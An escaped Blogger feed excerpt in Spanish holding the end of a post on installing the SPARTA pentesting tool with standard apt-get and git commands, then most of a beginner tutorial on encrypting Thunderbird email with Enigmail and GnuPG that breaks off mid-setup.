Se recomienda Usar la distribución &lt;b&gt;&lt;a href=&quot;https://www.kali.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Linux Kali&lt;/a&gt;&lt;/b&gt; (Distribución Linux Centrada en Pentesting) &amp;nbsp;como ya tiene la mayoría de las herramientas instaladas, sin embargo puede instalar&amp;nbsp;&lt;b&gt;SPARTA &lt;/b&gt;en los sistemas basados ​​en Debian.&lt;br /&gt;
&lt;br /&gt;
Descarga la herramienta desde GitHub&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, &#39;Courier New&#39;, monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;&quot;&gt;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;git clone https://github.com/secforce/sparta.git&lt;/span&gt;&lt;/em&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;pre style=&quot;background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, &#39;Courier New&#39;, monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;&quot;&gt;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&amp;nbsp;apt-get install python-elixir&lt;/span&gt;&lt;/em&gt;&lt;/pre&gt;
Ubuntu 12.04+ (untested)&lt;br /&gt;
&lt;pre style=&quot;background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, &#39;Courier New&#39;, monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;&quot;&gt;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;apt-get install python-elixir python-qt4&lt;/span&gt;&lt;/em&gt;&lt;/pre&gt;
Aparte de Phyton +Modulos, se requieren las siguientes herramientas para la funcionalidad mínima de&amp;nbsp;&lt;b&gt;SPARTA&amp;nbsp;&lt;/b&gt;:&lt;br /&gt;
- &lt;b&gt;nmap &lt;/b&gt;(para agregar hosts)&lt;br /&gt;
- &lt;b&gt;hidra &lt;/b&gt;(para la pestaña &quot;Brute&quot;)&lt;br /&gt;
- &lt;b&gt;cutycapt &lt;/b&gt;(para captura de pantalla)&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, &#39;Courier New&#39;, monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;&quot;&gt;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;apt-get install nmap hydra cutycapt&lt;/span&gt;&lt;/em&gt;&lt;/pre&gt;
En Kali, para asegurarse de que tiene todas las herramientas utilizadas por el uso de configuración por defecto de SPARTA:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, &#39;Courier New&#39;, monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;&quot;&gt;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;apt-get install ldap-utils rwho rsh-client x11-apps finger&lt;/span&gt;&lt;/em&gt;&lt;/pre&gt;
&lt;br /&gt;
Para mayor información de la herramienta visitar el sitio &lt;a href=&quot;http://sparta.secforce.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;oficial&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Una gracias por esta prometodora herramientas a sus autores:&lt;br /&gt;
&lt;b&gt;Antonio Quina (@st3r30byt3) Leonidas Stavliotis (@lstavliotis)&lt;/b&gt;&lt;div class=&quot;widget-area col-md-4&quot; id=&quot;secondary&quot; role=&quot;complementary&quot; style=&quot;border: 0px; box-sizing: border-box; color: #4cb2ed; float: left; font-family: &#39;Open Sans&#39;, sans-serif; font-size: 13px; margin: -20px 0px 0px; min-height: 1px; outline: 0px; padding: 0px 15px; position: relative; vertical-align: baseline; width: 380px;&quot;&gt;
&lt;aside class=&quot;widget widget_recent_entries&quot; id=&quot;recent-posts-2&quot; style=&quot;background: rgb(255, 255, 255); box-sizing: border-box; color: #3a3a3a; margin: 0px 0px 1.5em;&quot;&gt;&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/8475076661128734255/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/sparta-pentesting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8475076661128734255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8475076661128734255'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/sparta-pentesting.html' title='Sparta Pentesting'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/FwBIIkXig-8/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-2764854358592036800</id><published>2015-03-02T15:14:00.000-05:00</published><updated>2015-03-02T16:52:40.167-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ciberseguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="cifrado"/><category scheme="http://www.blogger.com/atom/ns#" term="Enigmail"/><category scheme="http://www.blogger.com/atom/ns#" term="GnuPG"/><category scheme="http://www.blogger.com/atom/ns#" term="openpgp"/><category scheme="http://www.blogger.com/atom/ns#" term="PGP"/><category scheme="http://www.blogger.com/atom/ns#" term="thunderbird"/><title type='text'>Cifrado de correos en Thunderbird</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;http://dev.weavervsworld.com/projects/ptbirdeniggpg/pcs/ptbirdeniggpg.png&quot; height=&quot;213&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
El cifrado de correo para los usarios mas comunes y/o empresas les parece absurdo invertir en tiempo y dinero en este tipo de controles. claro esta que estas empresas no han evaluado su información y si existe información confidencial viajando por los correo de sus empleados.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
para el tema de cifrado de correo se maneja el protocolo &lt;b&gt;PGP&amp;nbsp;&lt;/b&gt;&lt;b&gt;(&lt;/b&gt;&lt;i style=&quot;background-color: white; color: #252525; font-family: sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;Pretty Good Privacy)&amp;nbsp;&lt;/b&gt;&lt;/i&gt;el cual es un metodo para proteger los email&#39;s en la capa de aplicacion de la pila &lt;b&gt;TCP/IP.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
para no parafrasear en &lt;b&gt;&lt;a href=&quot;http://es.wikipedia.org/wiki/Pretty_Good_Privacy&quot; target=&quot;_blank&quot;&gt;wikipedia&lt;/a&gt;&lt;/b&gt;&amp;nbsp;podrán hallar mas información y recursos sobre el funcionamiento del protocolo &lt;b&gt;PGP&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Gestionar la seguridad de los correos electrónico requiere algo de esfuerzo y existen miles de herramientas &lt;b&gt;OpenSource&lt;/b&gt;&amp;nbsp;para cumplir el objetivo y facilitarnos el trabajo. Existen algunas iniciativas que tienen como objetivo facilitar la gestión &lt;b&gt;PGP&lt;/b&gt;, por ejemplo&amp;nbsp;&lt;a href=&quot;http://www.openpgp.org/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;OpenPGP&lt;/b&gt;&amp;nbsp;&lt;/a&gt;&lt;b&gt;&lt;a href=&quot;https://keybase.io/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Keybase&lt;/a&gt;&lt;/b&gt;,&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al final la idea es sencilla. Los emails se cifran con la llave pública del destinatario. Luego, por otro lado, cuando el destinatario recibe mensajes de correo cifrados, los tiene que descifrar con su llave privada que solo él o ella conoce. Cualquier persona que consiga interceptar (&lt;a href=&quot;http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;man in the middle&lt;/b&gt;&lt;/a&gt;) la comunicación verá caracteres extraños sin sentido.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Hay que tener en cuenta que el uso de&amp;nbsp;&lt;b&gt;PGP&lt;/b&gt;&amp;nbsp;no cifra sus emails por completo es decir la información del remitente, destinatario y el asunto del correo siguen sin cifrar. Cifrar la información del remitente y el destinatario no es todavía posible en el sistema de email existente. Lo que el uso de Thunderbird con el Enigmail add-on te proporciona es una manera fácil de cifrar el contenido de su email&lt;b&gt;.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
Dado que para este sistema todos aquellos que deseen enviarte un correo cifrado deberían conocer tu llave publica, Podemos dar de alta nuestra llave publica en un servidor especializado para esto. un ejemplo de esto es &lt;b&gt;&lt;a href=&quot;http://www.rediris.es/keyserver/index.html.es&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Rediris&lt;/a&gt;. (&lt;/b&gt;Estos servidores hacen de directorio.) el mismo enigmail tiene esta opcion para subir la llave la cual no vamos tratar en este tema.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
Finalmente, con &lt;b&gt;PGP &lt;/b&gt;también puedes firmar tu email con tu llave privada, así demuestras al receptor que eres tú y solo tú quién ha escrito ese correo electrónico, puesto que la firma se verifica con la llave pública correspondiente.&lt;br /&gt;
&lt;br /&gt;
Pero la idea de este post es que las personas menos técnicas que se preocupan por la seguridad de su información puedan cifrar sus correos fácilmente y de una manera completamente gratuita.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;CIFRADO DE CORREOS PARA PERSONAS NO&amp;nbsp;TÉCNICAS&amp;nbsp;:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para personas no técnicas y que hacen uso de un buen cliente de correo GNU como lo es &lt;b&gt;&lt;a href=&quot;https://www.mozilla.org/es-ES/thunderbird/&quot; target=&quot;_blank&quot;&gt;Thunderbird&lt;/a&gt;&amp;nbsp;&lt;/b&gt;les facilita todo el trabajo con un plugin especial como lo es &lt;b&gt;&lt;a href=&quot;https://www.enigmail.net/home/index.php&quot; target=&quot;_blank&quot;&gt;Enigmail&lt;/a&gt;&amp;nbsp;&lt;/b&gt;que permite gestionar mensajes de correo electrónico firmados o cifrados con el estándar &lt;b&gt;OpenPGP&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;Engimail &lt;/b&gt;esta basado en criptografía de llave pública o criptografía asimétrica. En este método, cada individuo debe generar su propio par de llaves. La primera llave se conoce como llave privada. Esta se halla protegida por una contraseña o una frase clave protegida y nunca compartida con nadie.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La segunda llave es conocida como la llave pública. Esta llave puede ser compartida con cualquiera que desees intercambiar correos cifrados. Una vez que tengas la llave pública de tu receptor puedes empezar a enviar correos electrónicos cifrados a dicha persona. Sólo esta será capaz de descifrar y leer tus correos electrónicos, debido a que es la única persona que tiene acceso a la llave privada que se empareja con esta.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Para instalar &lt;b&gt;Enigmail&lt;/b&gt;, en &lt;b&gt;Thunderbird &lt;/b&gt;nos vamos a &lt;b&gt;Herramientas &amp;gt; Complementos &lt;/b&gt;y en la caja de búsqueda que dice Buscar complementos escribiremos la palabra &lt;b&gt;enigmail&lt;/b&gt;. Entonces nos saldrá este cuadro y le daremos al botón Instalar.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPcc2TgC5uCPm_47Oelh4u2pEQTKtRNPOa5wuEOKvLNSPatK_rvU2KNILcQjCDTqXNPmUdxX-wt_9KLjFPREi70z0oS0JqxV5nYdj9LYr_P-ZtXkPUxYaXV018takGkNnJ66BXWsONqzI/s1600/extension.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPcc2TgC5uCPm_47Oelh4u2pEQTKtRNPOa5wuEOKvLNSPatK_rvU2KNILcQjCDTqXNPmUdxX-wt_9KLjFPREi70z0oS0JqxV5nYdj9LYr_P-ZtXkPUxYaXV018takGkNnJ66BXWsONqzI/s1600/extension.png&quot; height=&quot;50&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Tras instalar el plugin, &lt;b&gt;Thunderbird &lt;/b&gt;nos pedirá que reiniciemos la aplicación. Y cuando reiniciemos, Thunderbird iniciará automáticamente el asistente de instalación de Enigmail. podemos optar por cerrarlo y usar alguna otra APP PGP&lt;b&gt;&amp;nbsp;&lt;/b&gt;o bien seguir el asistente e instalar el recomendado de &lt;b&gt;Thunderbird - GnuPG. &lt;/b&gt;bien se instala&amp;nbsp;&lt;b&gt;Gpg4win&lt;/b&gt; que es un paquete de programas que contiene entre otros al &lt;b&gt;GnuPG&lt;/b&gt;. Por tanto, en las siguientes partes cuando se hable de &lt;b&gt;Gpg4win &lt;/b&gt;y &lt;b&gt;GnuPG &lt;/b&gt;considera a ambos como sinónimos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS07VUwX7PrMo7Yd_eCyECGrkNzaTPW1upSD40pxAA7zW55nOkQluYRjgCl_Jzyqh_UOulHtaYViEp-uqqpPWR6JRtcDibDp3h5M1rrwVO7egJHz3xZkAh6fXODt1-EpfOyg5Ck8ys2lo/s1600/wizard1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS07VUwX7PrMo7Yd_eCyECGrkNzaTPW1upSD40pxAA7zW55nOkQluYRjgCl_Jzyqh_UOulHtaYViEp-uqqpPWR6JRtcDibDp3h5M1rrwVO7egJHz3xZkAh6fXODt1-EpfOyg5Ck8ys2lo/s1600/wizard1.png&quot; height=&quot;528&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como el post esta dirigido para todo publico incluyendo en especial a los no técnicos, usaremos el asistente de instalacion de &lt;b&gt;Thunderbird&lt;/b&gt;&amp;nbsp;y haremos clic en el boton &lt;b&gt;install.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8vBW7EQgfCdpOtTRqORrYVJF3xj04K4HmH39Bi9_pBYD7KgdRL6RgqgDWp7Y3wvw-VBH4dO0zwGv74DyYq-f0B3iChYIF5pCNSkSmJJ-ZKCNM7deE1zke59aDlJ6GilYFgutRHs2k5y0/s1600/wizard2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8vBW7EQgfCdpOtTRqORrYVJF3xj04K4HmH39Bi9_pBYD7KgdRL6RgqgDWp7Y3wvw-VBH4dO0zwGv74DyYq-f0B3iChYIF5pCNSkSmJJ-ZKCNM7deE1zke59aDlJ6GilYFgutRHs2k5y0/s1600/wizard2.png&quot; height=&quot;203&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Confirmamos el idioma.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI5mkdyLlNlok1lXHPxEyAE94hNdvUShvBdFFjN1fIMh1j2IkYCzr2TZyyT1-MafzkLftUNI8MTpZUW5lIp_lyFgL2WbTHf98XkPgAAgYdf2TVoutTucrUi6lsmADW9WIjYE2Kl6-nkMg/s1600/wizard3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI5mkdyLlNlok1lXHPxEyAE94hNdvUShvBdFFjN1fIMh1j2IkYCzr2TZyyT1-MafzkLftUNI8MTpZUW5lIp_lyFgL2WbTHf98XkPgAAgYdf2TVoutTucrUi6lsmADW9WIjYE2Kl6-nkMg/s1600/wizard3.png&quot; height=&quot;301&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Procedemos a Instalar Gpg4win con el Wizard.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez finalizada la instalacion de&amp;nbsp;&lt;span style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Gpg4win, &lt;/b&gt;Hacemos clic en siguiente en el asistente de &lt;b&gt;enigmail.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYaeOIAC2F4Jka2s9h6nwU_W9C1XhSrBfVxnoyJAmrohAlqd2EPcDoD2tixEQxLNzhacFgzIYJQ1hm2qR6kzxl1AIDWuw24z9mA_gLtJ7p5eIhkEMg69hcazt5ft6pAh3U_pEhyphenhyphenOBPlFI/s1600/wizard4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYaeOIAC2F4Jka2s9h6nwU_W9C1XhSrBfVxnoyJAmrohAlqd2EPcDoD2tixEQxLNzhacFgzIYJQ1hm2qR6kzxl1AIDWuw24z9mA_gLtJ7p5eIhkEMg69hcazt5ft6pAh3U_pEhyphenhyphenOBPlFI/s1600/wizard4.png&quot; height=&quot;515&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Enigmail&lt;/b&gt;&amp;nbsp;ofrece: tres alternativas para el manejo del cifrado de tu correo:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La opción por defecto &amp;nbsp;es cifrar los correos electrónicos si tienes la llave pública de la otra persona. Enigmail cifrará el correo que &amp;nbsp;envíes, pero dejará los otros mensajes no-cifrados si no tienes la llave pública del destinatario todavía.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
También tienes la opción de cifrar los correos todo el tiempo a los destinatarios de los que tienes las llaves PGP, la cual significa que tendrás que buscar todas las llaves públicas faltantes en tu lista de contactos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La otra opción será apagar completamente el cifrado automático y usar la PGP solamente cuando lo hagas directamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Yo optare por la ultima opcion y solo cifrare los correos a quienes desee enviarle en alguna ocasion.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUzC_QD-PmHSGsLMjlrx2sy-CrSuyPu39SHGEdLsv9KWaSgax8iogL1TY1fFoBS6VWX3nKNGcGmWfXeZNZvm7rfEcEzpy7xOhamFv6qVUict1CmUYPSYHisif4PqA0HOBcbAzVAM_3-W0/s1600/wizard5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUzC_QD-PmHSGsLMjlrx2sy-CrSuyPu39SHGEdLsv9KWaSgax8iogL1TY1fFoBS6VWX3nKNGcGmWfXeZNZvm7rfEcEzpy7xOhamFv6qVUict1CmUYPSYHisif4PqA0HOBcbAzVAM_3-W0/s1600/wizard5.png&quot; height=&quot;531&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
Esta opción es para firmar digitalmente todos los correos salientes. Firmando tus mensajes con &amp;nbsp;PGP te permite la posibilidad de garantizar al destinatario que podrá comprobar que fuiste tú quien le envío el mensaje y que el contenido del mismo era legitimo. Haz click en el botón que dice ”Firmar mis mensajes por defecto” para activar esta característica.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
La desventaja de hacer esto, sin embargo, es que también puede hacer notar a cualquier persona con quien intercambies correos, &amp;nbsp;que estás usando PGP. En algunas partes del mundo (entre ellos China, Iran, Bielorrusia, y algunos países del Medio-Oriente), el uso del cifrado sin permiso, aún para el uso personal, es ilegal, así que puede ser que tengas muy buenas razones para no dejar de saber a otros personas que estás usando &amp;nbsp;PGP.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ahora encontraremos una ventana, que nos da una opción que permitirá a &lt;b&gt;Enigmail &lt;/b&gt;a hacer algunos cambios a la configuración de &lt;b&gt;Thunderbird&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrVGIbrplPDz09P5A8k2XtGv252oTKp5TGQpPpviQaV6ux0h103QFlXCyj76tq5GtTBYm-S8rNwydSXBd2upajJsP-26wKVeoCvCkiEJ36zkzKrRTWGPM3dL-gHwbWJBQdxeWniPZAOjo/s1600/wizard6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrVGIbrplPDz09P5A8k2XtGv252oTKp5TGQpPpviQaV6ux0h103QFlXCyj76tq5GtTBYm-S8rNwydSXBd2upajJsP-26wKVeoCvCkiEJ36zkzKrRTWGPM3dL-gHwbWJBQdxeWniPZAOjo/s1600/wizard6.png&quot; height=&quot;273&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;Si damos clic al boton detalles podemos ver cuales son esos cambios.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyZ5vZLfyK0bTwbDqhaL_4yqsvoQu5zYCCM4MkkY44YOQnGksxRkUJw5hlQwohO2OPGcN3DofhGJBeEnjejN7HWmoIwCpjdsqfDxnLExtFAp269usnTOn3k9ojaORtRpXDyeIvABvDDKs/s1600/wizard7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyZ5vZLfyK0bTwbDqhaL_4yqsvoQu5zYCCM4MkkY44YOQnGksxRkUJw5hlQwohO2OPGcN3DofhGJBeEnjejN7HWmoIwCpjdsqfDxnLExtFAp269usnTOn3k9ojaORtRpXDyeIvABvDDKs/s1600/wizard7.png&quot; height=&quot;295&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Las siguientes opciones pueden ser desmarcadas &amp;nbsp;para una transición mas fluida, si usas &lt;b&gt;PGP/Mime&lt;/b&gt; por defecto (veremos eso mas tarde):&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Desactivar texto fluido&lt;/li&gt;
&lt;li&gt;Ver cuerpo del mensaje en texto sencillo&lt;/li&gt;
&lt;li&gt;No redactar mensajes en HTML&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
